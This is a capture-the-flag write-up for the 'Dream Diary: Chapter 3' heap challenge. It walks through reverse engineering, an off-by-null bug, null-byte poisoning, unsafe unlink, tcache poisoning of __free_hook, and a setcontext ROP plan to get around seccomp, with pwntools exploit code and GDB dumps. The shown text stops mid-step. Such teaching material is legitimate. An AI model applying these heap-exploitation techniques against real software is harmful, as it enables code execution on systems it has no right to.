Dream Diary: Chapter 3
25 minutes to read
We are given a 64-bit binary called diary3
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Moreover, we also have the remote Glibc library and loader:
$ ./ld-2.29.so libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
The binary is already patched to used these files, so no actions needed:
$ ldd diary3
linux-vdso.so.1 (0x00007ffce37e2000)
libc.so.6 => ./libc.so.6 (0x00007fc0db710000)
./ld-2.29.so => /lib64/ld-linux-x86-64.so.2 (0x00007fc0db904000)
Further, there is a note:
$ cat note.txt
apparently, my friend told me that having /bin/sh in libc isn't safe... so I patched it up :p
So, the typical one_gadget
approach does not seem useful this time…
Reverse engineering
Let’s open the binary in Ghidra to analyze the decompiled C code. This is main
:
int main() {
long in_FS_OFFSET;
undefined4 option;
int i;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
signal(0xe, exit_troll);
alarm(0x78);
puts("Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!");
setvbuf(stdout, NULL, 2, 0);
for (i = 0; i < 100; i++) {
fwrite("1. write about dream \n2. edit dream\n3. delete dream\n4. recount dream\n5. exit diary\n ", 1, 0x53, stderr);
fwrite("> ", 1, 2, stderr);
__isoc99_scanf("%u", &option);
switch (option) {
default:
fwrite("invalid choice\n", 1, 0xf, stderr);
/* WARNING: Subroutine does not return */
exit(1);
case 1:
write_dreams();
break;
case 2:
edit_dream();
break;
case 3:
delete_dream(1);
break;
case 4:
delete_dream(2);
break;
case 5:
i = 100000;
}
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
It is calling setup
at first:
void setup() {
int iVar1;
iVar1 = prctl(0x26, 1, 0, 0, 0);
if (iVar1 != 0) {
perror("Could not start seccomp");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = prctl(0x16, 2, &DAT_001040a0);
if (iVar1 == -1) {
perror("Could not start seccomp");
/* WARNING: Subroutine does not return */
exit(1);
}
}
seccomp
rules
It is configuring seccomp
, so let’s use seccomp-tools
to dump the filters:
$ seccomp-tools dump ./diary3
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
As can be seen, we cannot use sys_execve
, which is a syscall
used by functions like system
to run commands. Moreover, we cannot use sys_open
to open a file from the server. However, notice that this is a blacklist approach, so there are a lot of syscall
instruction we can still use. Looking at x64.syscall.sh, we can find some usefull syscall
instructions such as sys_execveat
or openat
, which are very similar to the forbidden ones. Therefore, seccomp
rules won’t be a problem presumably.
There are other ways to bypass seccomp
rules, but they didn’t work in this challenge (more information here).
Program options
The challenge is related to the heap and we have these options:
$ ./diary3
Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
>
Allocation function
This is write_dreams
:
void write_dreams() {
char *p_dream;
uint index_copy;
uint index;
ulong size;
index = 0;
index_copy = 0;
do {
if (18 < index_copy) {
LAB_001014a3:
if (index == 18) {
fwrite("no more pages for dreams :(\n", 1, 0x1c, stderr);
} else {
fwrite("size: ", 1, 6, stderr);
__isoc99_scanf("%lu", &size);
if ((0x1f0 < size) || ((size < 0x110 && (0xf8 < size)))) {
fwrite("According to research, such a dream length is impossible :(\n", 1, 0x3c, stderr);
/* WARNING: Subroutine does not return */
exit(0);
}
*(int *) (&sizes + (ulong) index * 0x10) = (int) size;
fwrite("data: ", 1, 6, stderr);
p_dream = (char *) malloc(size);
dreams[(ulong)index * 2] = p_dream;
read(0, dreams[(ulong) index * 2], size);
fwrite("done\n", 1, 5, stderr);
}
return;
}
if ((*(int *) (&sizes + (ulong) index_copy * 0x10) == 0) && (dreams[(ulong) index_copy * 2] == NULL)) {
index = index_copy;
goto LAB_001014a3;
}
index_copy++;
} while( true );
}
As can be seen, we can use chunks of maximum size 0x1f0
and we sizes from 0xf0
to 0x108
are not allowed.
There is a global variable called dreams
that stores the size entered by the user and the address of the allocated chunk.
Edit function
This is edit_dream
:
void edit_dream() {
ssize_t ret;
char c;
uint index;
uint i;
int ret_copy;
fwrite("index: ", 1, 7, stderr);
__isoc99_scanf("%u", &index);
if (index < 19) {
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("uafs are for noobs\n", 1, 0x13, stderr);
} else {
fwrite("Input data: ", 1, 0xc, stderr);
for (i = 0; i != *(uint *) (&sizes + (ulong)index * 0x10); i++) {
ret = read(0, &c, 1);
ret_copy = (int) ret;
if (ret_copy != 1) {
fwrite("Error with writing to diary!",1, 0x1c, stderr);
/* WARNING: Subroutine does not return */
exit(-1);
}
if ((c == '\n') || (c == '\0')) break;
dreams[(ulong) index * 2][i] = c;
}
dreams[(ulong) index * 2][i] = '\0';
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
}
This function checks if the chunk exists or not, so there is no straight-forward Use After Free vulnerability. The modification of the chunk data is almost correct, but we have a flaw here:
dreams[(ulong) index * 2][i] = '\0';
If we choose the maximum size for the information part of a chunk and use edit, after the for
loop, the counter i
will be one byte out of bounds. Therefore, the above sentence puts a null byte one byte out of bounds (also known as off-by-null).
Notice as well that we cannot enter null byte or new line characters here:
if ((c == '\n') || (c == '\0')) break;
Free function
This is delete_dream
:
void delete_dream(int do_delete) {
uint index;
fwrite("index: ", 1, 7, stderr);
__isoc99_scanf("%u", &index);
if (index < 19) {
if (do_delete == 1) {
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("double frees are not cool\n", 1, 0x1a, stderr);
} else {
free(dreams[(ulong) index * 2]);
dreams[(ulong) index * 2] = NULL;
*(undefined4 *) (&sizes + (ulong) index * 0x10) = 0;
fwrite("diary page deleted\n", 1, 0x13, stderr);
}
} else if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("diary doesn\'t exist here\n", 1, 0x19, stderr);
} else {
fprintf(stderr, "\ndata: %s\n", dreams[(ulong) index * 2]);
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
}
Again, this function looks safe because it checks if the chunk still exists on the global list dreams
. Moreover, once a chunk is freed, both the size and the address are removed from the list.
Show function
This function is combined with delete_dreams
. The relevant part is here:
if ((*(int *) (&sizes + (ulong) index * 0x10) == 0) || (dreams[(ulong) index * 2] == NULL)) {
fwrite("diary doesn\'t exist here\n", 1, 0x19, stderr);
} else {
fprintf(stderr, "\ndata: %s\n", dreams[(ulong) index * 2]);
}
} else {
fwrite("invalid index\n", 1, 0xe, stderr);
}
It simply shows the contents of a given chunk as a string (so, it will stop at a null byte).
Exploit strategy
The only bug we have is the off-by-null. This bug can be used to perform a technique known as null byte poisoning. The idea of this technique is to abuse the fact that heap chunks are adjacent to modify the flags of the next chunk. So, flags AMP
will be set to 000
in binary, which indicates that the previous chunk is not in use.
Then, we can chain this size modification with a fake chunk with malicious fd
and bk
pointers, free the modified chunk and trigger malloc_consolidate
. As a result, we will be performing a kind of Unsafe Unlink exploit, which will provide overlaping chunks and thus we will be able to perform Tcache poisoning to target __free_hook
. I think this attack is known as House of Einherjar, but I’m not too sure.
Remember that Glibc is patched and there are seccomp
rules, so we will need to use ROP. I found two ways of executing a ROP chain on this heap environment. One is to target magic gadgets existing in Glibc to control a lot of registers and pivot the stack to the heap. The other is to find a stack address leak using environ
from Glibc and enter the ROP chain on the stack, modifying the saved return address as usual.
There are some twists during exploitation and at the end, but they will be covered in the next section.
Exploit development
We will be using these helper functions:
def write(p, size: int, data: bytes):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'size: ', str(size).encode())
p.sendafter(b'data: ', data)
def edit(p, index: int, data: bytes):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'index: ', str(index).encode())
p.sendafter(b'Input data: ', data)
def delete(p, index: int):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'index: ', str(index).encode())
def recount(p, index: int) -> bytes:
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'index: ', str(index).encode())
p.recvuntil(b'data: ')
return p.recvuntil(b'\n1. write about dream', drop=True)
Leaking memory addresses
First of all, we must get some memory leaks to perform the aforementioned techniques. It is quite common in heap exploitation challenges that involve Tcache to fill the Tcache free-list for a chunk with size greater than 0x80
(to avoid Fast Bin chunks), so that when another chunk is freed, it is thrown to the Unsorted Bin. As a result, the chunk will have a pointer to main_arena
in both fd
and bk
pointers.
Although we cannot show the contents directly because there is no Use After Free, we can still allocate a new chunk there and modify only the last byte, leaving the rest of the address untouched and available to be shown.
Moreover, we can apply the same trick to leak a heap address by modifying a Tcache chunk.
With the following code, we will have the base address of Glibc and the heap (GDB might be needed to find correct offsets):
def main():
p = get_process()
gdb.attach(p, 'continue')
for _ in range(9):
write(p, 0x88, b'A')
for i in range(9):
delete(p, 8 - i)
write(p, 0x88, b'X')
heap_base_addr = (u64(recount(p, 0)[:8].ljust(8, b'\0')) & 0xfffffffffffff000) - 0x1000
p.info(f'Heap base address: {hex(heap_base_addr)}')
for _ in range(8):
write(p, 0x88, b'Y')
glibc.address = u64(recount(p, 7)[:8].ljust(8, b'\0')) - 0x1e4d59
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Since we have GDB attached to the process, we can verify that our base address are correct:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3602279
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3602279', '-x', '/tmp/pwn0e8inigl.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x55b818fab000
[+] Glibc base address: 0x7f191c93a000
[*] Switching to interactive mode
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55b8183c9000 0x55b8183ca000 r--p 1000 0 ./diary3
0x55b8183ca000 0x55b8183cb000 r-xp 1000 1000 ./diary3
0x55b8183cb000 0x55b8183cc000 r--p 1000 2000 ./diary3
0x55b8183cc000 0x55b8183cd000 r--p 1000 2000 ./diary3
0x55b8183cd000 0x55b8183d0000 rw-p 3000 3000 ./diary3
0x55b818fab000 0x55b818fcc000 rw-p 21000 0 [heap]
0x7f191c93a000 0x7f191c95f000 r--p 25000 0 ./libc.so.6
0x7f191c95f000 0x7f191cad2000 r-xp 173000 25000 ./libc.so.6
0x7f191cad2000 0x7f191cb1b000 r--p 49000 198000 ./libc.so.6
0x7f191cb1b000 0x7f191cb1e000 r--p 3000 1e0000 ./libc.so.6
0x7f191cb1e000 0x7f191cb21000 rw-p 3000 1e3000 ./libc.so.6
0x7f191cb21000 0x7f191cb27000 rw-p 6000 0 [anon_7f191cb21]
0x7f191cb27000 0x7f191cb28000 r--p 1000 0 ./ld-2.29.so
0x7f191cb28000 0x7f191cb49000 r-xp 21000 1000 ./ld-2.29.so
0x7f191cb49000 0x7f191cb51000 r--p 8000 22000 ./ld-2.29.so
0x7f191cb51000 0x7f191cb52000 r--p 1000 29000 ./ld-2.29.so
0x7f191cb52000 0x7f191cb53000 rw-p 1000 2a000 ./ld-2.29.so
0x7f191cb53000 0x7f191cb54000 rw-p 1000 0 [anon_7f191cb53]
0x7ffc73842000 0x7ffc73863000 rw-p 21000 0 [stack]
0x7ffc73939000 0x7ffc7393c000 r--p 3000 0 [vvar]
0x7ffc7393c000 0x7ffc7393d000 r-xp 1000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Everything is perfect.
Null-byte poison
For this attack to work, we need to use at least chunks of size 0x100
, because we will overwrite the last byte with a null byte and want to keep a valid size. So, let’s allocate two chunk and edit the top one to alter the size of the second chunk:
write(p, 0xf8, b'asdf') # 9
write(p, 0xf8, b'qwer') # 10
edit(p, 9, b'A' * 0xf8)
We have this heap layout:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ac000
Size: 0x251
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x557ddf5ac250
Size: 0x411
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ac660
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5ad670
Size: 0x91
...
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5adaf0
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x557ddf5adb80
Size: 0x101
Allocated chunk
Addr: 0x557ddf5adc80
Size: 0x100
Top chunk | PREV_INUSE
Addr: 0x557ddf5add80
Size: 0x1f281
pwndbg> x/50gx 0x557ddf5adb80
0x557ddf5adb80: 0x0000000000000000 0x0000000000000101
0x557ddf5adb90: 0x4141414141414141 0x4141414141414141
0x557ddf5adba0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbb0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbc0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbd0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbe0: 0x4141414141414141 0x4141414141414141
0x557ddf5adbf0: 0x4141414141414141 0x4141414141414141
0x557ddf5adc00: 0x4141414141414141 0x4141414141414141
0x557ddf5adc10: 0x4141414141414141 0x4141414141414141
0x557ddf5adc20: 0x4141414141414141 0x4141414141414141
0x557ddf5adc30: 0x4141414141414141 0x4141414141414141
0x557ddf5adc40: 0x4141414141414141 0x4141414141414141
0x557ddf5adc50: 0x4141414141414141 0x4141414141414141
0x557ddf5adc60: 0x4141414141414141 0x4141414141414141
0x557ddf5adc70: 0x4141414141414141 0x4141414141414141
0x557ddf5adc80: 0x4141414141414141 0x0000000000000100
0x557ddf5adc90: 0x0000000072657771 0x0000000000000000
0x557ddf5adca0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcb0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcc0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcd0: 0x0000000000000000 0x0000000000000000
0x557ddf5adce0: 0x0000000000000000 0x0000000000000000
0x557ddf5adcf0: 0x0000000000000000 0x0000000000000000
0x557ddf5add00: 0x0000000000000000 0x0000000000000000
As can be seen, the second chunk has the PREV_INUSE
flag set to 0
. Once we free the chunk at the top, then if we free the bottom chunk the heap allocator will try to consolidate the heap and merge the two chunks. This is the point where the Unsafe Unlink exploit will be handy.
However, since this Glibc uses Tcache, first we need to fill the Tcache, so that the heap allocator enters the above two chunks in the Unsorted Bin and not in the Tcache free-list:
for _ in range(7):
write(p, 0xf8, b'Z')
for i in range(7):
delete(p, 11 + 6 - i)
We must add a fake chunk to perform the Unsafe Unlink exploit. I read about this technique in these resources:
With the above resources it might be clear what we want to achieve. We are trying to confuse the heap so that it consolidates the second chunk with a fake chunk that we have put in the data section of the chunk at the top. As a result, we will obtain overlapping chunks.
For the Unsafe Unlink to work, we need to satisfy some security checks that are explained in the above links. After a lot of debugging, we come out with this code to enter the fake chunk and successfully perform the Unsafe Unlink exploit:
holder_addr = heap_base_addr + 0x2490
victim_chunk_addr = heap_base_addr + 0x1b90
fake_fd = holder_addr - 0x18
fake_bk = holder_addr - 0x10
delete(p, 9)
write(p, 0xf8, p64(0) + p64(0xf0) + p64(fake_fd) + p64(fake_bk) + b'A' * 0xd0 + p64(0xf0))
for _ in range(7):
write(p, 0xf8, b'Z')
for i in range(7):
delete(p, 11 + 6 - i)
write(p, 0x18, p64(victim_chunk_addr)) # 11
Notice that I entered a 0x20
-sized chunk to hold the address of the victim chunk to bypass security checks. Moreover, since edit_dream
does not allow us to enter null bytes, we can free the chunk and allocate it again because write_dreams
does allow null bytes. Notice that filling the Tcache is between the Unsafe Unlink setup.
Now, when calling delete(p, 10)
we trigger malloc_consolidate
. This is the heap layout before:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x00000000000000f0
0x563b8f3eaba0: 0x0000563b8f3eb478 0x0000563b8f3eb480
0x563b8f3eabb0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabc0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x0000563b8f3eb478
0x563b8f3eb478: 0x0000000000000000 0x0000000000000000
0x563b8f3eb488: 0x0000000000000021 0x0000563b8f3eab90
pwndbg> x/gx 0x0000563b8f3eb478 + 0x18
0x563b8f3eb490: 0x0000563b8f3eab90
pwndbg> x/gx 0x0000563b8f3eb480 + 0x10
0x563b8f3eb490: 0x0000563b8f3eab90
pwndbg> continue
Continuing.
Notice that everything is prepared for the Unsafe Unlink exploit to work (fake size, fake previous size and right setup of fd
and bk
pointers).
Let’s delete the chunk at index 10
:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3625301
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3625301', '-x', '/tmp/pwng9cpqogc.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x563b8f3e9000
[+] Glibc base address: 0x7fa22c102000
[*] Switching to interactive mode
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 3
index: $ 10
diary page deleted
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $
Now the heap has changed a bit:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x00000000000001f1
0x563b8f3eaba0: 0x00007fa22c2e6ca0 0x00007fa22c2e6ca0
0x563b8f3eabb0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabc0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
pwndbg> bins
tcachebins
0x100 [ 7]: 0x563b8f3ead90 —▸ 0x563b8f3eae90 —▸ 0x563b8f3eaf90 —▸ 0x563b8f3eb090 —▸ 0x563b8f3eb190 —▸ 0x563b8f3eb290 —▸ 0x563b8f3eb390 ◂— 0x0
0x410 [ 1]: 0x563b8f3e9260 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x563b8f3eab90 —▸ 0x7fa22c2e6ca0 ◂— 0x563b8f3eab90
smallbins
empty
largebins
empty
pwndbg> continue
Continuing.
As can be seen, we have an Unsorted Bin chunk inside another chunk (overlapping chunks). If we allocate a chunk of size 0x20
(for example), it will be placed there:
pwndbg> x/50gx 0x563b8f3eab80
0x563b8f3eab80: 0x0000000000000000 0x0000000000000101
0x563b8f3eab90: 0x0000000000000000 0x0000000000000021
0x563b8f3eaba0: 0x00007f0a66647361 0x00007fa22c2e6e80
0x563b8f3eabb0: 0x4141414141414141 0x00000000000001d1
0x563b8f3eabc0: 0x00007fa22c2e6ca0 0x00007fa22c2e6ca0
0x563b8f3eabd0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabe0: 0x4141414141414141 0x4141414141414141
0x563b8f3eabf0: 0x4141414141414141 0x4141414141414141
0x563b8f3eac00: 0x4141414141414141 0x4141414141414141
0x563b8f3eac10: 0x4141414141414141 0x4141414141414141
0x563b8f3eac20: 0x4141414141414141 0x4141414141414141
0x563b8f3eac30: 0x4141414141414141 0x4141414141414141
0x563b8f3eac40: 0x4141414141414141 0x4141414141414141
0x563b8f3eac50: 0x4141414141414141 0x4141414141414141
0x563b8f3eac60: 0x4141414141414141 0x4141414141414141
0x563b8f3eac70: 0x4141414141414141 0x4141414141414141
0x563b8f3eac80: 0x00000000000000f0 0x0000000000000100
0x563b8f3eac90: 0x0000000072657771 0x0000000000000000
0x563b8f3eaca0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacb0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacc0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacd0: 0x0000000000000000 0x0000000000000000
0x563b8f3eace0: 0x0000000000000000 0x0000000000000000
0x563b8f3eacf0: 0x0000000000000000 0x0000000000000000
0x563b8f3ead00: 0x0000000000000000 0x0000000000000000
So, the idea here is to perform a Tcache poisoning attack, since we can now free this 0x20
-sized chunk and edit the “container” chunk to modify the fd
pointer. We will enter the address of __free_hook
in order to allocate a chunk there and hijack the execution of free
:
delete(p, 10)
write(p, 0x18, b'A')
delete(p, 10)
edit(p, 9, b'A' * 0x10 + p64(glibc.sym.__free_hook)[:7])
Notice that we cannot enter the full __free_hook
address because edit_dream
does not allow null bytes.
So we have entered __free_hook
in the Tcache free-list:
pwndbg> tcachebins
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
tcachebins
0x20 [ 1]: 0x5583b0dbeba0 —▸ 0x7f63a66205a8 (__free_hook) ◂— ...
0x100 [ 7]: 0x5583b0dbed90 —▸ 0x5583b0dbee90 —▸ 0x5583b0dbef90 —▸ 0x5583b0dbf090 —▸ 0x5583b0dbf190 —▸ 0x5583b0dbf290 —▸ 0x5583b0dbf390 ◂— 0x0
0x410 [ 1]: 0x5583b0dbd260 ◂— 0x0
pwndbg> continue
Continuing.
Now we can allocate two 0x20
-sized chunks and write at __free_hook
:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3631968
[*] running in new terminal: ['/usr/bin/gdb', '-q', './diary3', '3631968', '-x', '/tmp/pwn7rw3qc5_.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x5583b0dbd000
[+] Glibc base address: 0x7f63a6439000
[*] Switching to interactive mode
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 1
size: $ 24
data: $ asdf
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $ 1
size: $ 24
data: $ ABCDEFG
done
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> $
pwndbg> x/gx &__free_hook
0x7f63a66205a8 <__free_hook>: 0x0a47464544434241
Perfect, now it is time to get code execution.
ROP chain
Remember that there were secomp
rules enabled (actually, disallowed syscall
instructions) and that Glibc does not contain the string "/bin/sh"
, so one_gadget
does not work here. Moreover, we can’t use system
because it uses sys_fork
and sys_execve
under the hood, and they are not allowed.
Also, remember that we have sys_execveat
and sys_openat
. The latter could have worked if we knew the filename to read the flag, but the challenge author said it was not guessable, so we are forced to obtain a shell with sys_execveat
.
In order to call sys_execveat
, we need to craft a ROP chain to set the registers accordingly (more information at man7.org):
$rax = 322
$rdi
contains a directory file descriptor (which is not used if the file to execute has an absolute path)$rsi
has a pointer to the filename (prefered to be an absolute path)$rdx
set toNULL
(argv
pointer)$r10
set toNULL
(envp
pointer)$r8 = 0
(flags
)
The problem here is that we do not have access to the stack, so it is difficult to get control of the instruction pointer to execute the ROP chain. Looking for possible ways to execute a ROP chain on the heap, I found this write-up. Fortunately, the walkthrough is very similar to this challenge: they need to use an open-read-write ROP chain on the heap to bypass seccomp
rules.
The key is a function called setcontext
in Glibc that contains a very useful gadget to set a lot of registers:
$ objdump -M intel --disassemble=setcontext libc.so.6
libc.so.6: file format elf64-x86-64
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000000000055e00 <setcontext@@GLIBC_2.2.5>:
55e00: 57 push rdi
55e01: 48 8d b7 28 01 00 00 lea rsi,[rdi+0x128]
55e08: 31 d2 xor edx,edx
55e0a: bf 02 00 00 00 mov edi,0x2
55e0f: 41 ba 08 00 00 00 mov r10d,0x8
55e15: b8 0e 00 00 00 mov eax,0xe
55e1a: 0f 05 syscall
55e1c: 5a pop rdx
55e1d: 48 3d 01 f0 ff ff cmp rax,0xfffffffffffff001
55e23: 73 5b jae 55e80 <setcontext@@GLIBC_2.2.5+0x80>
55e25: 48 8b 8a e0 00 00 00 mov rcx,QWORD PTR [rdx+0xe0]
55e2c: d9 21 fldenv [rcx]
55e2e: 0f ae 92 c0 01 00 00 ldmxcsr DWORD PTR [rdx+0x1c0]
55e35: 48 8b a2 a0 00 00 00 mov rsp,QWORD PTR [rdx+0xa0]
55e3c: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80]
55e43: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78]
55e47: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48]
55e4b: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50]
55e4f: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58]
55e53: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60]
55e57: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8]
55e5e: 51 push rcx
55e5f: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70]
55e63: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68]
55e67: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98]
55e6e: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28]
55e72: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30]
55e76: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88]
55e7d: 31 c0 xor eax,eax
55e7f: c3 ret
55e80: 48 8b 0d e9 df 18 00 mov rcx,QWORD PTR [rip+0x18dfe9] # 1e3e70 <h_errlist@@GLIBC_2.2.5+0xdd0>
55e87: f7 d8 neg eax
55e89: 64 89 01 mov DWORD PTR fs:[rcx],eax
55e8c: 48 83 c8 ff or rax,0xffffffffffffffff
55e90: c3 ret
Disassembly of section __libc_freeres_fn:
This gadget (setcontext + 0x35
) is useful as long as we have control over $rdx
.
By using __free_hook
we have control over $rdi
because it is where the first argument of free
is stored. There is another gadget to control $rdx
provided that we control $rdi
:
$ ROPgadget --binary libc.so.6 | grep ': mov rdx, qword ptr \[rdi'
